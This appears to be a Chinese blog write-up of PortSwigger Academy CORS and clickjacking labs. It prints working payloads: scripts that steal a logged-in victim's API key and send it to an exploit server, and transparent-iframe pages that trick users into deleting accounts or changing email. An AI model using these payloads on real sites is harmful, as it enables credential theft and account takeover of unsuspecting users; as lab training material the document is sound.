安全技术 · 2021年9月27日

PortSwigger之跨域资源共享CORS+点击劫持漏洞笔记

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。

一、Cross-origin resource sharing (CORS)

01 CORS vulnerability with basic origin reflection

描述

该网站具有不安全的CORS配置,因为它信任所有来源。

为了解决这个实验,制作一些 JavaScript,使用 CORS 来检索管理员的 API 密钥并将代码上传到您的漏洞利用服务器。当您成功提交管理员的 API 密钥时,实验室就解决了。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决

1.通过 Burp Suite 代理您的浏览器,关闭拦截,然后登录并访问您的帐户页面。

2.查看历史记录并观察到您的密钥是通过 AJAX 请求/accountDetails检索到的`,并且响应包含Access-Control-Allow-Credentials表明它可能支持 CORS的标头。

image-20210922214553987

3.将请求发送到 Burp Repeater,并使用添加的标头重新提交它:Origin: https://example.com

4.观察原点反映在Access-Control-Allow-Origin标题中。

image-20210922214645235

5.在浏览器中,转到漏洞利用服务器并输入以下 HTML,替换$url为您唯一的实验室 URL:

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac061f631e001190808f0c7300f50097.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

image-20210922214813159

6.单击“Deliver exploit to victim”。观察漏洞利用是否有效 – Access log,您的 API 密钥位于 URL 中。

image-20210922214905782

7.提交受害者的 API 密钥以完成实验室。

02 CORS vulnerability with trusted null origin

描述

该网站具有不安全的CORS配置,因为它信任“空”来源。

为了解决这个实验,制作一些 JavaScript,使用 CORS 来检索管理员的 API 密钥并将代码上传到您的漏洞利用服务器。当您成功提交管理员的 API 密钥时,实验室就解决了。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决

1.通过 Burp Suite 代理浏览器,关闭拦截,登录到您的帐户,然后单击“my account”。

2.查看历史记录并观察到您的密钥是通过 AJAX 请求检索到的/accountDetails,并且响应包含Access-Control-Allow-Credentials表明它可能支持 CORS的标头。

3.将请求发送到 Burp Repeater,并使用添加的标头重新提交Origin: null

4.观察到”null”反映在Access-Control-Allow-Origin标题中。

image-20210922215646844

5.在您的浏览器中,转到漏洞利用服务器并输入以下 HTML,替换实验室的 URL和漏洞利用服务器 URL请注意,使用 iframe 沙箱会生成空源请求。

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest ();
req.onload = reqListener;
req.open('get','https://acb71f701ec6ff588008d5fc004d0037.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='https://exploit-acf41f481e73ff328092d511013200f6.web-security-academy.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

6.单击“view exploit”。观察漏洞利用是否有效 – 您已登陆日志页面,并且您的 API 密钥位于 URL 中。

7.返回漏洞利用服务器并单击“Deliver exploit to victim”

8.单击“access log”,检索并提交受害者的 API 密钥以完成实验室。

image-20210922220314729

03 CORS vulnerability with trusted insecure protocols

描述

该网站具有不安全的CORS配置,因为它信任所有子域,而不管协议如何。

为了解决这个实验,制作一些 JavaScript,使用 CORS 来检索管理员的 API 密钥并将代码上传到您的漏洞利用服务器。当您成功提交管理员的 API 密钥时,实验室就解决了。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决

1.通过 Burp Suite 代理您的浏览器,关闭拦截,然后登录并访问您的帐户页面。

2.查看历史记录并观察到您的密钥是通过 AJAX 请求检索到的/accountDetails,并且响应包含Access-Control-Allow-Credentials表明它可能支持 CORS的标头。

3.将请求发送到 Burp Repeater,并使用添加的 headerOrigin: http://subdomain.lab-idlab-id是实验室的域名,重新提交。

4.观察来源反映在Access-Control-Allow-Origin标头中,确认 CORS 配置允许从任意子域访问,包括 HTTPS 和 HTTP。

image-20210922220951141

image-20210922221027610

5.打开产品页面,单击“Check stock”并观察它是使用子域上的 HTTP URL 加载的。

image-20210922221209582

6.观察到该productID参数易受XSS攻击。

7.在浏览器中,转到漏洞利用服务器并输入以下 HTML,替换$your-lab-url为您唯一的实验室 URL ,替换$exploit-server-url漏洞利用服务器 URL:

<script>
document.location="http://stock.ac061f8e1fc27dc780ad3566007b00a7.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://ac061f8e1fc27dc780ad3566007b00a7.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-ac221f821f0c7d198038358f01af0087.web-security-academy.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

8.单击“Deliver exploit to victim”。

9.单击“Access log”,检索并提交受害者的 API 密钥以完成实验室。

DthNUCugDQMJfcATj8vF2awLde3MmiE5

image-20210922221512359

04 CORS vulnerability with internal network pivot attack

描述

该网站具有不安全的CORS配置,因为它信任所有内部网络来源。

本实验需要多个步骤才能完成。为了解决这个实验,制作一些 JavaScript 来定位本地网络 (192.168.0.0/24, 端口8080)上的端点,然后您可以使用它来识别和创建基于 CORS 的攻击以删除用户。当您删除 user 时,实验室就解决了Carlos

解决

参考:

http://blog.danieltrippa.it/writeup/cors/portswigger/lab/2020/03/10/CORS-vulnerability-with-internal-network-pivot-attack.html

二、Clickjacking

01 Basic clickjacking with CSRF token protection

描述

该实验室包含登录功能和受CSRF 令牌保护的删除帐户按钮。用户将点击诱饵网站上显示“点击”一词的元素。

为了解决这个实验,制作一些 HTML 来构建帐户页面并欺骗用户删除他们的帐户。删除帐号后,实验室就解决了。

您可以使用以下凭据登录自己的帐户:wiener:peter

受害者将使用 Chrome,因此请在该浏览器上测试您的漏洞利用。

解决方案

1.在目标网站上登录您的帐户。

2.转到漏洞利用服务器并将以下 HTML 模板粘贴到“body”部分:

<style>
iframe {
position:relative;
width:$width_value;
height: $height_value;
opacity: $opacity;
z-index: 2;
}
div {
position:absolute;
top:$top_value;
left:$side_value;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="$url"></iframe>

3.对模板进行以下调整:

iframe标签src属性中的$url内容替换为目标网站用户帐户页面的 URL;

为iframe的$height_value$width_value变量替换合适的像素值(我们分别建议 700px 和 500px);

为诱饵网页内容的$top_value$side_value变量替换合适的像素值,以便“Delete account”按钮和“Test me”诱饵动作对齐(我们分别建议 300 px和 60 px);

设置不透明度值 $opacity 以确保目标 iframe 是透明的。最初,使用 0.1 的不透明度,以便您可以对齐 iframe 操作并根据需要调整位置值。对于提交的攻击,值 0.0001 将起作用。

简言之,把我们Click me字符串放在Deletet account位置上面(调整top left值),页面变白,用户只能看到Click me,点击Click me实际上触发的是Deletet account

<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:500px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://ac121feb1f25ccdd807b0bed005900d5.web-security-academy.net/my-account"></iframe>

4.单击“store”,然后单击“View exploit”。

image-20210927104918504

5.正确排列 div 元素后,点击“Deliver exploit to victim”,实验室应该就解决了。

image-20210927105102891

02 Clickjacking with form input data prefilled from a URL parameter

描述

该实验室扩展了基本的点击劫持例如在实验室:基本点击劫持与CSRF令牌保护。该实验室的目标是通过使用 URL 参数预填充表单并诱使用户无意中单击“更新电子邮件”按钮来更改用户的电子邮件地址。

为了解决这个实验,制作一些 HTML 来构建帐户页面,并通过单击“点击我”诱饵来欺骗用户更新他们的电子邮件地址。更改电子邮件地址后,实验室就解决了。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

修改邮箱的时候email值是使用GET方式提交的,把要修改的邮箱放在GET,讲Click me放在Update email位置即可。

<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://acc51f011ff41729809c564800ab0056.web-security-academy.net/my-account/?email=hacker@attacker-website.com"></iframe>

03 Clickjacking with a frame buster script

描述

该实验室受框架破坏器保护,可防止网站被框架化。你能绕过框架破坏者并进行点击劫持攻击来改变用户的电子邮件地址吗?

为了解决这个实验,制作一些 HTML 来构建帐户页面,并通过单击“单击我”来欺骗用户更改他们的电子邮件地址。更改电子邮件地址后,实验室就解决了。

您可以使用以下凭据登录自己的帐户:wiener:peter

解决方案

<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://ac751f181f251970808a8e3000ac0068.web-security-academy.net/my-account/?email=hacker@attacker-website.com"></iframe>

image-20210927112553426

04 Exploiting clickjacking vulnerability to trigger DOM-based XSS

描述

该实验室包含一个由点击触发的XSS漏洞。构建一个点击劫持攻击,欺骗用户点击“点击我”按钮来调用该print()函数。

解决方案

<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
div {
position:absolute;
top:450px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe
src="https://ac171fb81f4ef4f88080131d00960087.web-security-academy.net/feedback/?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe>

image-20210927113715847

05 Multistep clickjacking

描述

这个实验室有一些受CSRF 令牌保护的帐户功能,还有一个确认对话框来防止点击劫持。为了解决这个实验,构建一个攻击,通过点击“Click me first”和“Click me next”诱饵动作来欺骗用户点击删除帐户按钮和确认对话框。您将需要在本实验中使用两个元素。

您可以使用以下凭据自行登录帐户:wiener:peter

解决方案

<style>
iframe {
position:relative;
width:500px;
height: 700px;
opacity: 0.0001;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:500px;
left:50px;
z-index: 1;
}
.secondClick {
top:290px;
left:215px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://ac0e1f7b1e3e58e9800c02b10038007a.web-security-academy.net/my-account"></iframe>

image-20210927162804288

aa

image-20210927162921270